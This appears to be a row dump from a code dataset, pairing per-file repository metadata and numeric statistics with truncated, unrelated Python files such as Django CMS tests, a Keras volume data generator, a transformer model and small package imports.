| 15.9 | 31 | 0.660377 | 25 | 159 | 4.2 | 0.76 | 0.380952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101563 | 0.194969 | 159 | 9 | 32 | 17.666667 | 0.71875 | 0.446541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
051fdb05070f180e4f4c6a3c9d5ae6bfd91171de | 57,590 | py | Python | tests/test_cms_menus.py | Bernardvdv/djangocms-navigation | 200fff28cbb46fb2fd2504d00702cf2be8d687fa | [
"BSD-3-Clause"
] | null | null | null | tests/test_cms_menus.py | Bernardvdv/djangocms-navigation | 200fff28cbb46fb2fd2504d00702cf2be8d687fa | [
"BSD-3-Clause"
] | null | null | null | tests/test_cms_menus.py | Bernardvdv/djangocms-navigation | 200fff28cbb46fb2fd2504d00702cf2be8d687fa | [
"BSD-3-Clause"
] | null | null | null | from django.template import Template
from django.template.context import Context
from django.test import RequestFactory
from cms.test_utils.testcases import CMSTestCase
from cms.test_utils.util.mock import AttributeObject
from cms.toolbar.toolbar import CMSToolbar
from cms.toolbar.utils import get_object_edit_url, get... | 42.817844 | 120 | 0.625213 | 6,023 | 57,590 | 5.77038 | 0.049975 | 0.093454 | 0.11279 | 0.033664 | 0.816976 | 0.780089 | 0.750022 | 0.72309 | 0.713509 | 0.695267 | 0 | 0.015194 | 0.288036 | 57,590 | 1,344 | 121 | 42.849702 | 0.832447 | 0.136847 | 0 | 0.643939 | 0 | 0 | 0.039558 | 0.002208 | 0 | 0 | 0 | 0 | 0.101732 | 1 | 0.031385 | false | 0 | 0.012987 | 0 | 0.047619 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0554f66f759b8ab029ffc16424685216a8ed2f63 | 163 | py | Python | sim/__init__.py | jarryliu/queue-sim | b21c39ab1a73b57ca4b1e2045ace0878afde3ee5 | [
"MIT"
] | null | null | null | sim/__init__.py | jarryliu/queue-sim | b21c39ab1a73b57ca4b1e2045ace0878afde3ee5 | [
"MIT"
] | null | null | null | sim/__init__.py | jarryliu/queue-sim | b21c39ab1a73b57ca4b1e2045ace0878afde3ee5 | [
"MIT"
] | null | null | null | from sim.scheduler import Scheduler
from sim.queue import Queue
from sim.genjob import GenJob
from sim.tokenbucket import TokenBucket
from sim.server import Server | 32.6 | 39 | 0.852761 | 25 | 163 | 5.56 | 0.32 | 0.251799 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116564 | 163 | 5 | 40 | 32.6 | 0.965278 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0570e53f38fd7cdf3cb9ba5d7d01ec519a144ad3 | 30 | py | Python | pydynamo_brain/pydynamo_brain/__init__.py | ubcbraincircuits/pyDynamo | 006eb6edb5e54670574dbfdf7d249e9037f01ffc | [
"MIT"
] | 4 | 2021-12-16T22:32:47.000Z | 2022-01-03T05:42:12.000Z | pydynamo_brain/pydynamo_brain/__init__.py | padster/pyDynamo | 006eb6edb5e54670574dbfdf7d249e9037f01ffc | [
"MIT"
] | 1 | 2021-11-15T18:14:20.000Z | 2021-11-15T18:14:36.000Z | pydynamo_brain/pydynamo_brain/__init__.py | padster/pyDynamo | 006eb6edb5e54670574dbfdf7d249e9037f01ffc | [
"MIT"
] | 1 | 2022-01-21T23:03:24.000Z | 2022-01-21T23:03:24.000Z | from .dynamo import runDynamo
| 15 | 29 | 0.833333 | 4 | 30 | 6.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 30 | 1 | 30 | 30 | 0.961538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0577a5970a9a980fc6ac9f68dfd79a2d96884f4c | 17 | py | Python | api-bot/db/__init__.py | JacobTheEvans/pokemon-api-copy | f0f88c52bb47947df3e8ffefa36c056b2d869f94 | [
"Apache-2.0"
] | null | null | null | api-bot/db/__init__.py | JacobTheEvans/pokemon-api-copy | f0f88c52bb47947df3e8ffefa36c056b2d869f94 | [
"Apache-2.0"
] | null | null | null | api-bot/db/__init__.py | JacobTheEvans/pokemon-api-copy | f0f88c52bb47947df3e8ffefa36c056b2d869f94 | [
"Apache-2.0"
] | null | null | null | from db import *
| 8.5 | 16 | 0.705882 | 3 | 17 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.235294 | 17 | 1 | 17 | 17 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
05865626092f760cccb928ddc2087ee0fd58f676 | 198 | py | Python | src/tyme/base_forecasters/__init__.py | sam-bailey/tyme | 64143c0750d9f245cd2992d9679020d539751ad2 | [
"MIT"
] | null | null | null | src/tyme/base_forecasters/__init__.py | sam-bailey/tyme | 64143c0750d9f245cd2992d9679020d539751ad2 | [
"MIT"
] | null | null | null | src/tyme/base_forecasters/__init__.py | sam-bailey/tyme | 64143c0750d9f245cd2992d9679020d539751ad2 | [
"MIT"
] | null | null | null | from . import robust_exponential_smoothing, exponential_smoothing, base
from .robust_exponential_smoothing import RobustExponentialSmoothing
from .exponential_smoothing import ExponentialSmoothing
| 39.6 | 71 | 0.89899 | 19 | 198 | 9.052632 | 0.421053 | 0.465116 | 0.302326 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075758 | 198 | 4 | 72 | 49.5 | 0.939891 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0591e4cf92db70f980763fec8d0f26fde8940a91 | 115 | py | Python | label_studio/data_import/__init__.py | mengzaiqiao/label-studio | 908e00d3a6791ddf932bf3e73fd8d6cff1f3033b | [
"Apache-2.0"
] | 2 | 2021-01-25T20:06:53.000Z | 2021-01-25T20:43:35.000Z | label_studio/data_import/__init__.py | mengzaiqiao/label-studio | 908e00d3a6791ddf932bf3e73fd8d6cff1f3033b | [
"Apache-2.0"
] | 1 | 2021-02-13T17:27:47.000Z | 2021-02-16T11:45:59.000Z | label_studio/data_import/__init__.py | mengzaiqiao/label-studio | 908e00d3a6791ddf932bf3e73fd8d6cff1f3033b | [
"Apache-2.0"
] | 1 | 2022-01-04T12:46:45.000Z | 2022-01-04T12:46:45.000Z | from flask import Blueprint
blueprint = Blueprint('data_import_blueprint', __name__, template_folder='templates')
| 28.75 | 85 | 0.826087 | 13 | 115 | 6.769231 | 0.692308 | 0.340909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 115 | 3 | 86 | 38.333333 | 0.838095 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 0.182609 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
558cf2b7f698580df4998799cdda763b0e324cd5 | 92 | py | Python | cosmiq_sn4_baseline/utils/__init__.py | lee-joey-hyunjoon/CosmiQ_SN4_Baseline | 7b29c98335eaa3574a0bfbc58d297de2e0e5d95a | [
"Apache-2.0"
] | 21 | 2018-10-29T15:13:36.000Z | 2022-01-07T04:23:06.000Z | cosmiq_sn4_baseline/utils/__init__.py | lee-joey-hyunjoon/CosmiQ_SN4_Baseline | 7b29c98335eaa3574a0bfbc58d297de2e0e5d95a | [
"Apache-2.0"
] | 5 | 2018-11-01T01:55:42.000Z | 2020-06-11T07:28:43.000Z | cosmiq_sn4_baseline/utils/__init__.py | lee-joey-hyunjoon/CosmiQ_SN4_Baseline | 7b29c98335eaa3574a0bfbc58d297de2e0e5d95a | [
"Apache-2.0"
] | 8 | 2018-11-02T09:18:18.000Z | 2021-03-01T11:57:16.000Z | from .rgb import *
from .masks_from_geojsons import *
from .rgbs_and_masks_to_arrs import *
| 23 | 37 | 0.804348 | 15 | 92 | 4.533333 | 0.6 | 0.294118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 92 | 3 | 38 | 30.666667 | 0.85 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e9672eaf371c1fe301c21286b9fdbbfb84b9aa86 | 86,142 | py | Python | utils/volume_data_generator.py | DIAL-RPI/FreehandUSRecon | 1c790c09400a49b4deb27c59355b7e8a0b617bda | [
"MIT"
] | 41 | 2020-06-22T01:09:27.000Z | 2022-03-30T03:53:19.000Z | utils/volume_data_generator.py | Xingorno/FreehandUSRecon | 9a92fc596ed9c6e48623cb9a79e342b0442f8aa8 | [
"MIT"
] | 4 | 2020-11-11T09:14:34.000Z | 2022-01-04T11:53:46.000Z | utils/volume_data_generator.py | Xingorno/FreehandUSRecon | 9a92fc596ed9c6e48623cb9a79e342b0442f8aa8 | [
"MIT"
] | 10 | 2020-10-06T14:02:12.000Z | 2022-03-30T03:53:21.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Generator to yield resampled volume data for training and validation
"""
# %%
from keras.models import load_model, Model
from matplotlib import pyplot as plt
import numpy as np
import os
from os import path
import random
import SimpleITK as sitk
from stl import mesh... | 40.518344 | 240 | 0.520896 | 9,302 | 86,142 | 4.57751 | 0.050527 | 0.074401 | 0.072898 | 0.055331 | 0.810052 | 0.782621 | 0.757703 | 0.737741 | 0.728934 | 0.717403 | 0 | 0.025254 | 0.382659 | 86,142 | 2,125 | 241 | 40.537412 | 0.775438 | 0.110341 | 0 | 0.69685 | 0 | 0 | 0.00801 | 0.002866 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032283 | false | 0 | 0.012598 | 0.001575 | 0.052756 | 0.006299 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
75801c10c1e1d017221adf7fa3a88ead9f360cc2 | 98 | py | Python | VEX.py | teared/VEX | f5ce8928ba3cc2c2daa1a5bc2c7fed2a85fc091c | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 105 | 2017-11-21T21:14:20.000Z | 2022-02-18T10:26:04.000Z | VEX.py | teared/VEX | f5ce8928ba3cc2c2daa1a5bc2c7fed2a85fc091c | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 11 | 2017-11-28T05:02:06.000Z | 2021-03-31T19:49:14.000Z | VEX.py | teared/VEX | f5ce8928ba3cc2c2daa1a5bc2c7fed2a85fc091c | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 20 | 2018-02-11T17:03:58.000Z | 2021-11-16T02:34:29.000Z | from .commands.vex_build import VexBuildCommand
from .commands.helpcard import VexHelpcardCommand
| 32.666667 | 49 | 0.877551 | 11 | 98 | 7.727273 | 0.727273 | 0.282353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081633 | 98 | 2 | 50 | 49 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f97f6693ee84a029d592e283d0857a98a8671ab4 | 106 | py | Python | torch_datasets/collate_containers/__init__.py | mingruimingrui/torch-datasets | 2640b8c4fa82156e68e617fc545a546b4e08dc4e | [
"MIT"
] | null | null | null | torch_datasets/collate_containers/__init__.py | mingruimingrui/torch-datasets | 2640b8c4fa82156e68e617fc545a546b4e08dc4e | [
"MIT"
] | null | null | null | torch_datasets/collate_containers/__init__.py | mingruimingrui/torch-datasets | 2640b8c4fa82156e68e617fc545a546b4e08dc4e | [
"MIT"
] | null | null | null | from .detection_collate import DetectionCollateContainer
from .image_collate import ImageCollateContainer
| 35.333333 | 56 | 0.90566 | 10 | 106 | 9.4 | 0.7 | 0.276596 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075472 | 106 | 2 | 57 | 53 | 0.959184 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f988daabeabeede01e311b5064c6ebb253bbd8be | 4,206 | py | Python | apps/sso/organisations/tests.py | g10f/sso | ba6eb712add388c69d4880f5620a2e4ce42d3fee | [
"BSD-3-Clause"
] | 3 | 2021-05-16T17:06:57.000Z | 2021-05-28T17:14:05.000Z | apps/sso/organisations/tests.py | g10f/sso | ba6eb712add388c69d4880f5620a2e4ce42d3fee | [
"BSD-3-Clause"
] | null | null | null | apps/sso/organisations/tests.py | g10f/sso | ba6eb712add388c69d4880f5620a2e4ce42d3fee | [
"BSD-3-Clause"
] | null | null | null | from django.conf import settings
from django.test import TransactionTestCase
from django.urls import reverse
from sso.organisations.models import OrganisationCountry, Organisation, AdminRegion
from sso.test.client import SSOClient
class OrganisationsTest(TransactionTestCase):
fixtures = ['roles.json', 'app_roles.... | 45.717391 | 147 | 0.703519 | 440 | 4,206 | 6.545455 | 0.211364 | 0.072917 | 0.05 | 0.080556 | 0.775694 | 0.761458 | 0.736111 | 0.731944 | 0.726736 | 0.726736 | 0 | 0.039083 | 0.190918 | 4,206 | 91 | 148 | 46.21978 | 0.807229 | 0.044223 | 0 | 0.656716 | 0 | 0 | 0.204087 | 0.094692 | 0 | 0 | 0 | 0 | 0.238806 | 1 | 0.074627 | false | 0.059701 | 0.074627 | 0 | 0.179104 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
f9e542cb4f34129a703091440e7e25928f3bdf21 | 48 | py | Python | NEO-Debugger-Winform/Contracts/HelloWorld.py | hal0x2328/neo-debugger-tools | 402187735c86539e5999d701c577c69ab51ba325 | [
"MIT"
] | 29 | 2017-10-26T17:51:42.000Z | 2021-12-02T10:44:53.000Z | NEO-Debugger-Winform/Contracts/HelloWorld.py | hal0x2328/neo-debugger-tools | 402187735c86539e5999d701c577c69ab51ba325 | [
"MIT"
] | 148 | 2017-10-26T15:13:39.000Z | 2021-07-05T14:09:14.000Z | NEO-Debugger-Winform/Contracts/HelloWorld.py | hal0x2328/neo-debugger-tools | 402187735c86539e5999d701c577c69ab51ba325 | [
"MIT"
] | 43 | 2017-10-26T15:51:36.000Z | 2019-03-06T06:40:38.000Z | def Main(operation, args):
return 'Hello World' | 24 | 26 | 0.75 | 7 | 48 | 5.142857 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 48 | 2 | 27 | 24 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0.22449 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
3483def894714d1147f7039dc5dbeb4d41ab9b7e | 38 | py | Python | ai_transformersx/utils/__init__.py | aicanhelp/ai-transformers | fa30031fa7360ee6d4fd3d016a3c81a23cfe8af1 | [
"MIT"
] | 1 | 2020-08-03T12:59:20.000Z | 2020-08-03T12:59:20.000Z | ai_transformersx/utils/__init__.py | aicanhelp/ai-transformers | fa30031fa7360ee6d4fd3d016a3c81a23cfe8af1 | [
"MIT"
] | null | null | null | ai_transformersx/utils/__init__.py | aicanhelp/ai-transformers | fa30031fa7360ee6d4fd3d016a3c81a23cfe8af1 | [
"MIT"
] | null | null | null | from .text_utils import cut_sentences
| 19 | 37 | 0.868421 | 6 | 38 | 5.166667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 38 | 1 | 38 | 38 | 0.911765 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
349410d3ac6a0f6842a0e01a61412767a8db2413 | 106 | py | Python | src/lightning/__init__.py | fossabot/Feedback-Prize-Competition | e27ec2d09571b4c53436c3a9faea41ab34f70948 | [
"MIT"
] | null | null | null | src/lightning/__init__.py | fossabot/Feedback-Prize-Competition | e27ec2d09571b4c53436c3a9faea41ab34f70948 | [
"MIT"
] | null | null | null | src/lightning/__init__.py | fossabot/Feedback-Prize-Competition | e27ec2d09571b4c53436c3a9faea41ab34f70948 | [
"MIT"
] | null | null | null | from lightning.datamodule import FeedbackPrizeDataModule
from lightning.module import FeedbackPrizeModule
| 35.333333 | 56 | 0.90566 | 10 | 106 | 9.6 | 0.7 | 0.270833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075472 | 106 | 2 | 57 | 53 | 0.979592 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9b43c4555e60ab1e6144e0c88fc8f321d4a66cf3 | 102 | py | Python | study/views/login.py | mekroket/Anchor | 8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4 | [
"MIT"
] | null | null | null | study/views/login.py | mekroket/Anchor | 8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4 | [
"MIT"
] | null | null | null | study/views/login.py | mekroket/Anchor | 8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4 | [
"MIT"
] | null | null | null | from django.shortcuts import render
def Login(request):
return render(request,"pages/login.html") | 25.5 | 45 | 0.77451 | 14 | 102 | 5.642857 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 102 | 4 | 45 | 25.5 | 0.877778 | 0 | 0 | 0 | 0 | 0 | 0.15534 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
9b70d02230f7fad9607518ad5903d119e4e4c384 | 13,609 | py | Python | code/extractProfile.py | sdres/eventRelatedVASO | b55213df46ef6eb8e2414b858296e4b355467107 | [
"MIT"
] | null | null | null | code/extractProfile.py | sdres/eventRelatedVASO | b55213df46ef6eb8e2414b858296e4b355467107 | [
"MIT"
] | null | null | null | code/extractProfile.py | sdres/eventRelatedVASO | b55213df46ef6eb8e2414b858296e4b355467107 | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import nibabel as nb
import seaborn as sns
import matplotlib.pyplot as plt
import glob
from matplotlib.ticker import MaxNLocator
from matplotlib.ticker import FormatStrFormatter
subList = []
dataList = []
modalityList = []
layerList = []
stimTypeList = []
focusList = []
contrast... | 37.908078 | 194 | 0.573003 | 1,691 | 13,609 | 4.510349 | 0.127144 | 0.031467 | 0.011931 | 0.034089 | 0.817884 | 0.794677 | 0.764652 | 0.715091 | 0.680871 | 0.656746 | 0 | 0.030746 | 0.261518 | 13,609 | 358 | 195 | 38.013966 | 0.728159 | 0.054302 | 0 | 0.707317 | 0 | 0.069106 | 0.289717 | 0.161594 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04065 | 0 | 0.04065 | 0.04878 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
32e345ee6c2e460a3320eb7e917349f5ae746a5c | 10,406 | py | Python | algorithms/transformer_nets.py | harisankarh/IndianNLP-Transliteration | 0e0dd8139c75477346c985201b51315b3a4e4f48 | [
"Apache-2.0"
] | 31 | 2020-09-24T04:32:47.000Z | 2022-02-24T06:12:39.000Z | algorithms/transformer_nets.py | harisankarh/IndianNLP-Transliteration | 0e0dd8139c75477346c985201b51315b3a4e4f48 | [
"Apache-2.0"
] | 4 | 2021-05-26T11:38:36.000Z | 2022-01-27T12:28:21.000Z | algorithms/transformer_nets.py | harisankarh/IndianNLP-Transliteration | 0e0dd8139c75477346c985201b51315b3a4e4f48 | [
"Apache-2.0"
] | 8 | 2020-09-04T12:33:30.000Z | 2022-01-12T05:43:54.000Z | import torch
import torch.nn as nn
import math
class XFMR_Seq2Seq(nn.Module):
'''
TODO: Not yet complete Decoding part has to be fixed
'''
def __init__(self, input_vcb_sz, output_vcb_sz,
emb_dim, enc_layers, dec_layers,
attention_head = 8, feedfwd_dim = 1024,
... | 36.512281 | 104 | 0.561887 | 1,356 | 10,406 | 3.996313 | 0.096608 | 0.064218 | 0.078059 | 0.035985 | 0.804946 | 0.772098 | 0.748847 | 0.737036 | 0.726887 | 0.714154 | 0 | 0.016543 | 0.31453 | 10,406 | 285 | 105 | 36.512281 | 0.743166 | 0.220161 | 0 | 0.666667 | 0 | 0 | 0.002018 | 0 | 0 | 0 | 0 | 0.003509 | 0 | 1 | 0.062893 | false | 0 | 0.018868 | 0 | 0.144654 | 0.006289 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fd060d9b85de4a4c09966e53cfa0116e5f7d5495 | 77 | py | Python | hello_world.py | Zerl1990/2021_02_git_training | 2761d323b9aea32230441a3ccd4f0562737e83ff | [
"MIT"
] | null | null | null | hello_world.py | Zerl1990/2021_02_git_training | 2761d323b9aea32230441a3ccd4f0562737e83ff | [
"MIT"
] | null | null | null | hello_world.py | Zerl1990/2021_02_git_training | 2761d323b9aea32230441a3ccd4f0562737e83ff | [
"MIT"
] | null | null | null | """Hello world."""
import os
import sys
import requests
print('hello world')
| 12.833333 | 20 | 0.727273 | 11 | 77 | 5.090909 | 0.636364 | 0.357143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12987 | 77 | 5 | 21 | 15.4 | 0.835821 | 0.155844 | 0 | 0 | 0 | 0 | 0.186441 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0.25 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fd14dc5d0c9ae0b3e3b13e0ea5a068b247283fbf | 215 | py | Python | utils/recorders/__init__.py | user-wu/SOD_eval_metrics | d5b8804580cb52a4237c8e613818d10591dc6597 | [
"MIT"
] | 27 | 2021-04-19T08:19:47.000Z | 2022-03-25T09:10:37.000Z | utils/recorders/__init__.py | user-wu/SOD_eval_metrics | d5b8804580cb52a4237c8e613818d10591dc6597 | [
"MIT"
] | 5 | 2021-08-16T03:42:42.000Z | 2021-11-26T02:51:05.000Z | utils/recorders/__init__.py | user-wu/SOD_eval_metrics | d5b8804580cb52a4237c8e613818d10591dc6597 | [
"MIT"
] | 8 | 2021-09-26T03:12:18.000Z | 2022-03-26T13:49:22.000Z | # -*- coding: utf-8 -*-
from .curve_drawer import CurveDrawer
from .excel_recorder import MetricExcelRecorder
from .metric_recorder import GroupedMetricRecorder, MetricRecorder
from .txt_recorder import TxtRecorder
| 35.833333 | 66 | 0.832558 | 24 | 215 | 7.291667 | 0.666667 | 0.24 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005181 | 0.102326 | 215 | 5 | 67 | 43 | 0.901554 | 0.097674 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b5f8d579a78e2d5e875c827be2026b97430c81de | 136 | py | Python | webservice/api/views.py | Phomint/Autonomous-WebService | 834b7eb36850f94404b3cba36db4fcc6e62e9a17 | [
"MIT"
] | null | null | null | webservice/api/views.py | Phomint/Autonomous-WebService | 834b7eb36850f94404b3cba36db4fcc6e62e9a17 | [
"MIT"
